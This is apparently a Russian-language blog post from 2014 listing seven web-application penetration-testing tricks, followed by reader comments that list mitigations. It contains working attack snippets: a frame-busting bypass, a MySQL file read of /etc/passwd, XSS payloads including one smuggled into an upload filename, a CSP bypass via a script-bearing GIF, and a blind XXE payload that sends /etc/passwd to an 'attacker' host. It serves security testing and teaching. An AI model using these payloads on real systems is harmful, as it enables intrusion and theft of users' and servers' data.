26 января 2014 в 20:45

Подборка трюков при анализе защищенности веб приложений

Всем привет! Этот топик посвящен разным трюкам при анализе защищенности (пентесте) веб приложений. Периодически сталкиваешься с ситуацией, когда надо обойти какую-нибудь защиту, выкрутиться в данных ограничениях или просто протестировать какое-то неочевидное место. И этот пост как раз об этом! Добро пожаловать под кат.

Трюк #1 — Обойти защиту от Clickjacking'а


Кликджекинг (англ. Clickjacking) — механизм обмана пользователей интернета, при котором злоумышленник может получить доступ к конфиденциальной информации или даже получить доступ к компьютеру пользователя, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу. Принцип основан на том, что поверх видимой страницы располагается невидимый слой, в который и загружается нужная злоумышленнику страница, при этом элемент управления (кнопка, ссылка), необходимый для осуществления требуемого действия, совмещается с видимой ссылкой или кнопкой, нажатие на которую ожидается от пользователя. Возможны различные применения технологии — от подписки на ресурс в социальной сети до кражи конфиденциальной информации и совершения покупок в интернет-магазинах за чужой счёт (С) http://ru.wikipedia.org/wiki/Кликджекинг

При данной атаке требуется отобразить ресурс во фрейме, и правильный путь для защиты — добавить заголовок X-Frame-Options с нужными ограничениями (обычно, запрещают показывать ресурс во фрейме всем).
Но на довольно большом количестве сайтов можно встретить подобный код:

if (self !== top) {
top.location = self.location;
}

Javascript, при помощи которого ресурс пытается «выпрыгнуть» из фрейма. И здесь есть два пути обхода данной защиты.

1. Race condition

Мы можем «повешать» новый Listener на unload окна и ввести всё окно в состояние гонки
var kill_bust = 0
window.onbeforeunload = function(){kill_bust++};
setInterval(function() {
if (kill_bust > 0) {
kill_bust -= 2;
top.location = '204.php';
}}, 1);

Где 204.php — следующий скрипт

header("HTTP/1.0 204 No Response");

В итоге не дать сайту «выпрыгнуть» из фрейма.

2. Использование стандаратов HTML5

Мы можем ограничить действие скриптов во фрейме, открывая его в режиме песочницы
<iframe src="http://victim.com" sandbox="
allow-forms
allow-scripts" />

Данные методы рассматривались на воркшопе ZeroNights: 2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-_Hacking_HTML5.pdf

Трюк #2 — Чтение файлов в MySQL при отсутствии file_priv


Считается, что читать файлы в MySQL можно только при выставленных файловых привилегиях у пользователя. Но это не совсем так. Если у нас есть право создавать таблицы — мы можем при создании таблицы прочитать файл, не имея file_priv

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' ';

и
select * from test; 

Данная тема разобрана на форуме rdot.

Трюк #3 — Использование echo сервисов для XSS


Это трюк относится к созданию PoC для очень специфичных XSS. Представим себе echo сервис, который просто отдает запрошенное содержимое обратно. Если мы обратимся к нему по HTTP — то он нам просто вернет весь наш HTTP запрос. А если мы запросим что-то типа victim.com:1024/<script>alert(1)</script>? То он нам вернет весь HTTP запрос, где в начале будет XSS. Но здесь два момента.

  1. Ответ на HTTP запрос будет некорректен (для версии протокола HTTP 1.X+), но в версии HTTP 0.9 необязательно корректно отвечать на запрос, поэтому некоторые браузеры (Internet Explorer) рендерят подобные ответы. Об этом можно узнать в книге Michal Zalewski «The tangled web».
  2. Перед отправкой запроса на сервер браузер преобразует url в «безопасный» вид (%20 и подобные штуки в вашей адресной строке). Как итог — echo сервис вернёт нем не наши тэги с xss — <script>, а %3Cscript%3E. Но! Internet Explrer не энкодит данные после первого вопроса (GET параметры) в URL.

Но есть способ заставить Explorer не энкодить ничего в URL (данный метод был случайно найден при пентесте). Это отдать ссылку IE через заголовок Location
<?php
header("Location: http://victim/ANY_DATA_HERE_WILL_BE_NOT_ENCODED");
?>

Как итог — отправить «нормальный» запрос на echo сервис, который нам же его и вернет. А IE — отрендерит.
Далее возникнет логичный вопрос, а как же Same Origin Policy? Ведь мы исполняем js на другом порту, отличным от нужного нам порта веб-сервера и атакуемого сайта? В Internet explorer порт не учитывается при детекте SOP, вот так. Как итог — подобный трюк помогает просто показать (POC), что вектор есть в данных, очень сложных условиях. Например — подобное было найдено нашими ресерчами в SAP.

Трюк #4 — Чтение данных при «слепой» XML инъекции


XXE — атака на приложения, обрабатывающие XML. Вместо каких-нибудь валидных и ожидаемых данных на обработку отдаются XML-cущности, который парсер должен (по дефолту) сначала распарсить, а только потом обработать всю XML. В качестве сущности можно задать файл (например, в качестве никнейма) и после посмотреть на свой ник (а этой какой-нибудь /etc/passwd). Но бывают ситуации, когда отправляешь XML и всё, в никуда, никаких ответов. При подобной «слепой» инъекции можно использовать японский/PT вектор.

Отдается первая XML с DTD по внешнему адресу:

evil.xml
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker/test.dtd" >
<foo>&e1;</foo>


test.dtd
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>">
%p2;


Как итог — XML парсер обработает данные выше и попробует запросить сущность GET запросом, в параметрах которого будут данные файла (а там уже мониторим access.log).

Трюк #5 — Обход CSP и исполнение javascript из GIF файла


Content-Security-Policy — заголовок, который сообщает браузеру, откуда можно подргружать различные данные (например, JS), всё остальное — запрещено. Это значительно затрудняет эксплуатацию XSS уязвимостей. Внедриться можем, а js выполнить — нет, .js файлы разрешены только с каких-то определенных доменов. Теперь, если мы можем загружать файлы (например, аттачить в письмо), то можно сгенерировать «злобный» вполне валидный GIF файл, при инклуде которого

<script src = "http://domain-in-white-list/evil_image.gif"></script>

Исполнится JS. Демо, скрипт, использовалось в FaceBook.

Трюк #6 — игнорирование заголовка «Content-Disposition: attachment» и рендеринг скрипта в браузере.


Я очень подробно описывал этот вектор здесь. Смысл в том, что iOS устройства игнорируют этот заголовок и «пригодный» контент (html/svg) рендерят в браузере. Пример из прошлой статьи аттача из gmail, который не должен автоматом открываться в браузере
GMail


Трюк #7 — «Непопулярное» место при тестировании на XSS


Факт — место, описанное в трюке, действительно очень непопулярно при тестировании на XSS среди множества пентестеров.

Идея: создать файл <img src = x onerror=alert(1)>.jpeg и отправить жертве.

Под Linux системами файл с таким именем создать просто

# touch '<img src = x onerror=alert(1)>.jpeg' 

Но под Windows — нельзя, ввиду особенностей файловых систем этой ОС. Решение очень простое, пускаем весь трафик Burp Proxy и подменяем данные на этапе их отправки

------WebKitFormBoundaryFS9MRFpHBt02jHkz
Content-Disposition: form-data; name="upload[0]"; filename=""><img src = x onerror=alert(1)>"

Подобным способом была найдена XSS в Google AdWords — c0rni3sm.blogspot.ru/2013/12/google-adwords-stored-xss-from-nay-to.html, которую можно было использовать против других пользователей.

Спасибо за внимание!
Автор: @BeLove
Digital Security
рейтинг 221,72
Безопасность как искусство
Похожие публикации

Комментарии (16)

  • +1
    У вас в компании есть отдельная директива, называть XXE OOB вектор «японским»? Мне так, чисто из любопытства.
    • +1
      Мне кажется, на японских форумах он упоминался (публично) раньше (2009 год), чем XXE OOB (2013)?
      P.S. Знаю, что была какая-то дискуссия на эту тему, но не в курсе её результатов.
      • +1
        Вопрос: этот японский вектор кто-нибудь знал кроме самих японцев до того, как появился XXE OOB?
        • +1
          Если говорить про меня лично — то я узнал о них одновременно, когда эксплуатировал впервые подобную XXE, поэтому указал тот, на который отсылка есть раньше.
          И если отвечать на вопрос Тимура, ответ нет. Можно открыть журнал «Хакер» и посмотреть, что в т.ч. в печатных изданиях и до написания этой статьи указываем оба названия (здесь апдейтнул).
  • +2
    Хорошо бы теперь статью, как закрыть все эти 7 трюков.
    • +3
      1. Использовать X-Frame-Options (с корректными правилами);
      2. Не выдавать право Create текущему пользователю. Чаще всего это не требуется. Если требуется (например, для обновления / установки CMS) — добавлять/удалять только на это время;
      3. Echo сервисы — странная штука :) Обычно сетевой сервис не должен вести себя в подобном режиме на продакшине
      4. Отключение парсинга сущностей, практически все стандартные парсеры это позволяют;
      5. Загружать юзер контент на отдельный домен, не в whitelist CSP. Если требуется отобразить preview — то делать preview из белого листа. При конвертации гифки код потеряется;
      6. Хранить весь юзер контент на отдельном, изолированном домене (не поддомене, а на именно отдельном домене);
      7. Преобразовывать спец. символы в т.ч. в имени загружаемого файла, так как эта такая же информация от пользователя, как и вся другая.
      • +2
        Хорошая статья получилась. Всем бы так!
      • 0
        6. Прощай полноценный HTTPS.
        • 0
          В чем проблема докупить сертификат для этого отдельного домена?
          • 0
            Не уверен, как это расценит браузер. Он не любит на HTTPS страницах данные (статику), загруженную по HTTP (даже с того же домена). Что он будет думать на тему левого домена, хоть и по HTTPS — я не знаю.
            • 0
              Будет загружать без возражений.

              Так сделано у vk.com, mega.co.nz. На статику обычно меньший ключ ставят.
  • 0
    Трюк #2 попробовал на MySQL 5.5. Получил такую ошибку:
    mysql> LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' ';
    ERROR 1148 (42000): The used command is not allowed with this MySQL version
    

    Видимо, на каких версиях это изменилось. На указанном линке народ говорит про 5.0 и 5.1.
    • +1
      Видимо ваш мускул собран без --enable-local-infile.
      • 0
        Он был собран с параметрами по-умолчанию в этом плане. Если добавить --local-infile как предложили ниже, то работает. Но так работает только в mysql клиенте из командной строки, а через web я получаю ту же ошибку "(1148, 'The used command is not allowed with this MySQL version')".
        Похоже, что в моём модуле, который я использую, это отключено. У меня обычный MySQLdb для Python.
    • 0
      Попробуйте подключиться к серверу с опцией --local-infile. Например так:
      mysql -h 192.168.100.205 -P 3306 --local-infile -u user1 -p

      После этого все отлично работает :) ну и проверить show variables like '%infile%'; на всякий случай.
      • 0
        Да, с --local-infile сработало из командной строки. На доступ через web это не распространяется, так как там это не включено по-умолчанию.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка